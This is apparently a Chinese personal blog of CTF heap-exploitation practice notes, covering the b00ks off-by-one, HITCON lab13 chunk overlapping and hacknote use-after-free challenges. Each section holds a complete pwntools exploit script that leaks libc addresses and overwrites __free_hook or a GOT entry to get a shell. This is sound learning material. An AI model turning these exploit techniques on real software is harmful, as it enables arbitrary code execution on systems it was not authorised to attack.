kernel看不进去,回头重新复习巩固一下heap

进度:3/22

off-by-one

Asis_2016_b00ks

很忧伤啊,本地的ubuntu16 docker容器中做的,脚本写好了跑不起来???
__malloc_hook明明改好了,调试也可以看到确实进入到one_gadget的位置了,但是在具体执行的到ogg的时候...他跳过去了???先这样吧,当前环境下改__malloc_hook是改成功了

搞出来了...malloc_hook换成free_hook就好了,果然是rsi的问题,one_gadget的条件要求他RSI为NULL,malloc_hook的时候附近都不符合条件,四个ogg一个都不能用,换成free_hook就好了

from pwn import *
# from SearchLibc import *
context.log_level='debug'

r = process("./b00ks")
# elf = process("./b00ks")


def Add(name_size, name, des_size, des):
    r.sendlineafter("> ", "1")
    r.sendlineafter("Enter book name size: ", str(name_size))
    r.sendlineafter("Enter book name (Max 32 chars): ", name)
    r.sendlineafter("Enter book description size: ", str(des_size))
    r.sendlineafter("Enter book description: ", des)


def Del(id):
    r.sendlineafter("> ", "2")
    r.sendlineafter("Enter the book id you want to delete: ", str(id))


def Edit(id, des):
    r.sendlineafter("> ", "3")
    r.sendlineafter("Enter the book id you want to edit: ", str(id))
    r.sendlineafter("Enter new book description: ", des)


def Pri():
    r.sendlineafter("> ", "4")

def Change(name):
    r.sendlineafter("> ", "5")
    r.sendlineafter("Enter author name: ", name)


if __name__=="__main__":
    name = 'a'*31+'b'
    r.sendlineafter("Enter author name: ", name)

    Add(0x18, 'aaaaaaa', 0x100, 'AAAAAAAA')
    Pri()

    r.recvuntil('aaaaab')
    book_addr = u64(r.recvuntil("\n\n")[:-2].ljust(8, '\x00'))
    log.success("heap addr start at ==> {}".format(hex(book_addr)))
    
    Add(0x18, 'aaaaaaa', 0x18, 'AAAAAAAA')
    Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
    Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
    Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')

    Del(3)
    des = flat([ 'a'*0xb0, 0, 0x31, 1, book_addr+0xa0, book_addr+0x70, 0x30 ], word_size=64)
    Edit(1, des)
    Change(name)
    Pri()

    r.recvuntil("ID: 1\nName: ")
    unsortedbin = u64(r.recvline()[:-1].ljust(8, '\x00'))
    main_arena = unsortedbin - 0x58
    malloc_hook = main_arena - 0x10
    fack_addr = malloc_hook - 0x23
    log.success("unsorted bin addr ==> %s" % hex(unsortedbin))
    log.success("main_arena addr ==> %s" % hex(main_arena))
    log.success("malloc addr ==> %s" % hex(malloc_hook))
    
    # libc = SearchLibc("__malloc_hook", malloc_hook)
    # base = malloc_hook - libc.dump([ '__malloc_hook' ])
    # ogg = base + libc.ogg()
    # log.success("base ==> %s" % hex(base))
    # log.success("one_gadget ==> %s" % hex(ogg))
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    base = malloc_hook - libc.sym['__malloc_hook']
    ogg = base + 0x4527a
    log.success("base ==> %s" % hex(base))
    log.success("one_gadget ==> %s" % hex(ogg))

# root@3144767e7ff2:/ctf/wiki/heap/off_by_one/Asis_2016_b00ks# one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL



    des = flat([ 2, book_addr+0xa0, libc.sym['__free_hook']+base, 0x30 ], word_size=64)
    Edit(1, des)
    des = flat([ ogg ], word_size=64)
    Edit(2, des)


    

    log.success('pid => %i' % r.proc.pid)
    pause()


    Add(0x18, 'aaaaaaa', 0x18, 'AAAAAAAA')


    r.interactive()

Chunk Extend and Overlapping

HITCON Trainging lab13

怎么说呢,感觉可能是自己有些笨吧,再加上这周一直是夜班整的精神严重有些不太好,这个题拖了有几天

我认为要注意的点:

  • 用0改1并释放后,需要注意的是确实是合并释放了,0x40的链里边有一个内容,但同时,他原本content的chunk也被加入到0x20的链表中。
    图片.png
    从IDA中也可以看到它是将content先释放,再释放本身的chunk
    图片.png

这样的话无论接下来申请多大的content内存,本身用于记录的chunk申请位置都会在原先1的content chunk所在的位置,也就是上图0x11fc060这个位置的chunk(它的记录chunk大小是固定的0x20,用于记录content大小和content位置)

这样的话,如果能将0x40链中的内存申请出来的话,就意味着我们可以控制他的记录chunk,而记录chunk我们知道他里边有两个内容,一个size,一个content的指针,注意这是一个指针,指向的是content的正文开始处,这便意味着如果我们可以控制这个指针的值,那么我们就有了任意位置读写能力,接下来常规操作即可。
图片.png

fastbin确实做得少,还得多练练。抽时间还是得看看源码,看看他申请和释放是的检查到底都是怎么写的。

# -*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'

r = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def Add(size, content):
    r.sendafter("Your choice :", "1")
    r.sendafter("Size of Heap : ", str(size))
    r.sendafter("Content of heap:", content)


def Edit(id, content):    # off-by-one
    r.sendafter("Your choice :", "2")
    r.sendafter("Index :", str(id))
    r.sendafter("Content of heap : ", content)


def Show(id):
    r.sendafter("Your choice :", "3")
    r.sendafter("Index :", str(id))


def Del(id):
    r.sendafter("Your choice :", "4")
    r.sendafter("Index :", str(id))



if __name__=='__main__':
    Add(0x18, 'aaa')
    Add(0x18, 'aaa')
    Add(0x18, '/bin/sh\x00')

    content = flat([ 'a'*0x18, '\x41' ], word_size=64)
    Edit(0, content)
    Del(1)

    # log.success('pid => %i' % r.proc.pid)
    # pause()
  
    Add(0x38, 'a'*0x18+p64(0x21)+p64(0x18)+p64(elf.got['free']))    # 注意是got表,got表中存着的是真实加载位置,plt中是got表的位置
    Show(1)
    r.recvuntil("Content : ")
    free_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))
    base = free_addr - libc.sym['free']
    system = base + libc.sym['system']
    log.success("free addr ==> %s" % hex(free_addr))
    log.success("system addr ==> %s" % hex(system))


    Edit(1, p64(system))
    Del(2)

    # log.success('pid => %i' % r.proc.pid)
    # pause()


    r.interactive()

use after free

hacknote

emmmm这个的flag我有些没看懂,他是怎么引用的当前目录的flag?
IDA里是cat /home/hacknote/flag,然后一运行自动cat flag??

from pwn import *
context.log_level='debug'


r = process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def Add(size, content):
    r.sendafter("Your choice :", "1")
    r.sendafter("Note size :", str(size))
    r.sendafter("Content :", content)


def Del(id):
    r.sendafter("Your choice :", "2")
    r.sendafter("Index :", str(id))


def Print(id):
    r.sendafter("Your choice :", "3")
    r.sendafter("Index :", str(id))


if __name__=="__main__":
    Add(16, 'aaa')
    Add(16, 'aaa')
    Add(16, 'aaa')
    Add(16, 'aaa')
    Del(0)
    Del(1)
    Add(8, p32(0x8048986))    # magic
    
    log.success('pid => %i' % r.proc.pid)
    pause()
    
    Print(0)


    r.interactive()

Q.E.D.


来都来了,点个广告再走吧(=・ω・=)